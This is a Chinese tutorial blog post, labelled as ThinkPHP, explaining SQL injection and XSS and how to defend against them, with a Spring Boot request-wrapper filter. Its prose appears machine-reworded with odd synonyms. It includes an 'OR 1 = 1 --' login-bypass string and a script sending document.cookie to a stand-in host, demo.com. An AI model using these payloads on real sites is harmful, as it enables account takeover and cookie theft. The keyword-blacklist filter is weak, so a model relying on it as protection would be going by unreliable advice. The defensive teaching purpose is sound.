旗下导航:搜·么
当前位置:网站首页 > PHP框架 > ThinkPHP > 正文

thinkphp怎样防备sql注入xss进击【ThinkPHP教程】

作者:搜搜PHP网发布时间:2019-11-28分类:ThinkPHP浏览:72


导读:SQL注入简介SQL注入破绽(SQLInjection)是Web开辟中最罕见的一种安全破绽。可以用它来从数据库猎取敏感信息,或许运用数据库的特征实行增加用户,导...

SQL注入简介

SQL 注入破绽(SQL Injection)是 Web 开辟中最罕见的一种安全破绽。可以用它来从数据库猎取敏感信息,或许运用数据库的特征实行增加用户,导出文件等一系列歹意操纵,以至有可以猎取数据库以致体系用户最高权限。

而形成 SQL 注入的缘由是由于顺序没有有用的转义过滤用户的输入,使进击者胜利的向服务器提交歹意的 SQL 查询代码,顺序在吸收后缺点的将进击者的输入作为查询语句的一部分实行,致使原始的查询逻辑被转变,分外的实行了进击者经心组织的歹意代码。

许多 Web 开辟者没有意想到 SQL 查询是可以被改动的,从而把 SQL 查询看成可信任的敕令。却不知,SQL 查询是可以绕开接见掌握,从而绕过身份考证和权限搜检的。更有甚者,有可以经由过程 SQL 查询去运转主机体系级的敕令。

SQL 注入道理

下面将经由过程一些实在的例子来细致解说 SQL 注入的体式格局的道理。

斟酌以下简朴的管理员登录表单:

<form action="/login" method="POST">
    <p>Username: <input type="text" name="username" /></p>
    <p>Password: <input type="password" name="password" /></p>
    <p><input type="submit" value="上岸" /></p>
</form>

后端的 SQL 语句多是以下如许的:

let querySQL = `
    SELECT *
    FROM user
    WHERE username='${username}'
    AND psw='${password}'
`;
// 接下来就是实行 sql 语句

目标就是来考证用户名和暗码是不是是准确,按理说乍一看上面的 SQL 语句也没什么缺点,确实是可以到达我们的目标,然则你只是站在用户会老老实实根据你的设想来输入的角度来看题目,假如有一个歹意进击者输入的用户名是 zhangsan’ OR 1 = 1 --,暗码随便输入,就可以直接登入体系了。

冷静下来思索一下,我们之前料想的实在 SQL 语句是:

SELECT * FROM user WHERE username='zhangsan' AND psw='mypassword'

可以歹意进击者的新鲜用户名将你的 SQL 语句变成了以下情势:

SELECT * FROM user WHERE username='zhangsan' OR 1 = 1 --' AND psw='xxxx'

在 SQL 中,-- 是解释背面的内容的意义,所以查询语句就变成了:

SELECT * FROM user WHERE username='zhangsan' OR 1 = 1

这条 SQL 语句的查询前提永久为真,所以意义就是歹意进击者不必我的暗码,就可以登录进我的账号,然后可以在里面随心所欲,然则这还只是最简朴的注入,牛逼的 SQL 注入高手以至可以经由过程 SQL 查询去运转主机体系级的敕令,将你主机里的内容一清二楚,这里我也没有这个才能解说的太深切,毕竟不是专业研讨这类进击的,然则经由过程以上的例子,已了解了 SQL 注入的道理,我们基础已能找到防备 SQL 注入的计划了。

相干引荐:《ThinkPHP教程》

防备 SQL 注入

防备 SQL 注入主假如不能允许用户输入的内容影响一般的 SQL 语句的逻辑,当用户的输入的信息将要用来拼接 SQL 语句的话,我们应当永久挑选不置信,任何内容都必需举行转义过滤,固然做到这个照样不够的,下面列出防备 SQL 注入的几点注意事项:

1、严厉限定Web运用的数据库的操纵权限,给此用户供应仅仅可以满足其事情的最低权限,从而最大限制的削减注入进击对数据库的伤害。

2、后端代码搜检输入的数据是不是相符预期,严厉限定变量的范例,比方运用正则表达式举行一些婚配处置惩罚。

3、对进入数据库的特别字符(’,",\,<,>,&,*,; 等)举行转义处置惩罚,或编码转换。基础上一切的后端言语都有对字符串举行转义处置惩罚的要领,比方 lodash 的 lodash._escapehtmlchar 库。

4、一切的查询语句发起运用数据库供应的参数化查询接口,参数化的语句运用参数而不是将用户输入变量嵌入到 SQL 语句中,即不要直接拼接 SQL 语句。比方 Node.js 中的 mysqljs 库的 query 要领中的 ? 占位参数。

mysql.query(`SELECT * FROM user WHERE username = ? AND psw = ?`, [username, psw]);

5、在运用宣布之前发起运用专业的 SQL 注入检测东西举行检测,以实时修补被发明的 SQL 注入破绽。网上有许多这方面的开源东西,比方 sqlmap、SQLninja 等。

6、防止网站打印出 SQL 缺点信息,比方范例缺点、字段不婚配等,把代码里的 SQL 语句暴露出来,以防备进击者运用这些缺点信息举行 SQL 注入。

7、不要过于细化返回的缺点信息,假如目标是轻易调试,就去运用后端日记,不要在接口上过量的暴露失足信息,毕竟真正的用户不关心太多的技术细节,只需话术合理就行。

XSS 进击简介

XSS 进击,即跨站剧本进击(Cross Site Scripting),它是 web 顺序中罕见的破绽。 道理是进击者往 web 页面里插进去歹意的剧本代码(CSS代码、JavaScript代码等),当用户阅读该页面时,嵌入个中的剧本代码会被实行,从而到达歹意进击用户的目标。如偷取用户cookie,损坏页面构造、重定向到其他网站等。

理论上来讲,web 页面中一切可由用户输入的处所,假如没有对输入的数据举行过滤处置惩罚的话,都邑存在 XSS 破绽;固然,我们也须要对模板视图中的输出数据举行过滤。

XSS 进击示例

有一个博客网站,供应了一个 web 页面(内含表单)给一切的用户宣布博客,但该博客网站的开辟人员并没有对用户提交的表单数据做任何过滤处置惩罚。 如今,我是一个进击者,在该博客网站宣布了一篇博客,用于偷取其他用户的cookie信息。博客内容以下:

<b>This is a XSS test!</b>
<script>
var cookie = document.cookie;
window.open("http://demo.com/getCookie.php?param="+cookie);
</script>

这是一段 XSS 进击代码。当其他用户检察我的这篇博客时,他们的 cookie 信息就会被发送至我的 web 站点(http://demo.com/) ,云云,我就偷取了其他用户的 cookie 信息。

防备 XSS 进击

中心头脑

永久不要置信用户的输入,必需对输入的数据作过滤处置惩罚。

该函数会把字符串中的特别字符转化为 HTML 实体,如许在输出时,歹意的代码就没法实行了。这些特别字符主假如 ’ " & < >。

比方,我方才的歹意代码被过滤后,会变成下面的代码:

&lt;b&gt;This is a XSS test!&lt;/b&gt;
&lt;script&gt;
var cookie = document.cookie;
window.open(&quot;http://demo.com/getCookie.php?param=&quot;+cookie);
&lt;/script&gt;

如许,就可以防备大部分 XSS 进击了。

服务端代码处置惩罚

以springboot为例:

可运用过滤器举行设置,以下所示:

/**
 * 防备sql注入,xss进击
 * 前端可以对输入信息做预处置惩罚,后端也可以做处置惩罚。
 */
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
    private final Logger log = LoggerFactory.getLogger(getClass());
    private static String key = "and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char
    |declare|;|or|-|+";
    private static Set<String> notAllowedKeyWords = new HashSet<String>(0);
    private static String replacedString="INVALID";
    static {
        String keyStr[] = key.split("\\|");
        for (String str : keyStr) {
            notAllowedKeyWords.add(str);
        }
    }
    private String currentUrl;
    public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
        super(servletRequest);
        currentUrl = servletRequest.getRequestURI();
    }
    /**掩盖getParameter要领,将参数名和参数值都做xss过滤。
     * 假如须要取得原始的值,则经由过程super.getParameterValues(name)来猎取
     * getParameterNames,getParameterValues和getParameterMap也可以须要掩盖
     */
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        if (value == null) {
            return null;
        }
        return cleanXSS(value);
    }
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = cleanXSS(values[i]);
        }
        return encodedValues;
    }
    @Override
    public Map<String, String[]> getParameterMap(){
        Map<String, String[]> values=super.getParameterMap();
        if (values == null) {
            return null;
        }
        Map<String, String[]> result=new HashMap<>();
        for(String key:values.keySet()){
            String encodedKey=cleanXSS(key);
            int count=values.get(key).length;
            String[] encodedValues = new String[count];
            for (int i = 0; i < count; i++){
                encodedValues[i]=cleanXSS(values.get(key)[i]);
            }
            result.put(encodedKey,encodedValues);
        }
        return result;
    }
    /**
     * 掩盖getHeader要领,将参数名和参数值都做xss过滤。
     * 假如须要取得原始的值,则经由过程super.getHeaders(name)来猎取
     * getHeaderNames 也可以须要掩盖
     */
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        if (value == null) {
            return null;
        }
        return cleanXSS(value);
    }
    private String cleanXSS(String valueP) {
        // You'll need to remove the spaces from the html entities below
        String value = valueP.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
        value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
        value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
        value = value.replaceAll("'", "& #39;");
        value = value.replaceAll("eval\\((.*)\\)", "");
        value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
        value = value.replaceAll("script", "");
        value = cleanSqlKeyWords(value);
        return value;
    }
    private String cleanSqlKeyWords(String value) {
        String paramValue = value;
        for (String keyword : notAllowedKeyWords) {
            if (paramValue.length() > keyword.length() + 4
                    && (paramValue.contains(" "+keyword)||paramValue.contains(keyword+" ")||paramValue.
                    contains(" "+keyword+" "))) {
                paramValue = StringUtils.replace(paramValue, keyword, replacedString);
                log.error(this.currentUrl + "已被过滤,由于参数中包括不允许sql的关键词(" + keyword
                        + ")"+";参数:"+value+";过滤后的参数:"+paramValue);
            }
        }
        return paramValue;
    }
}

以上就是thinkphp怎样防备sql注入xss进击的细致内容,更多请关注ki4网别的相干文章!

标签:thinkphp防止sqlxss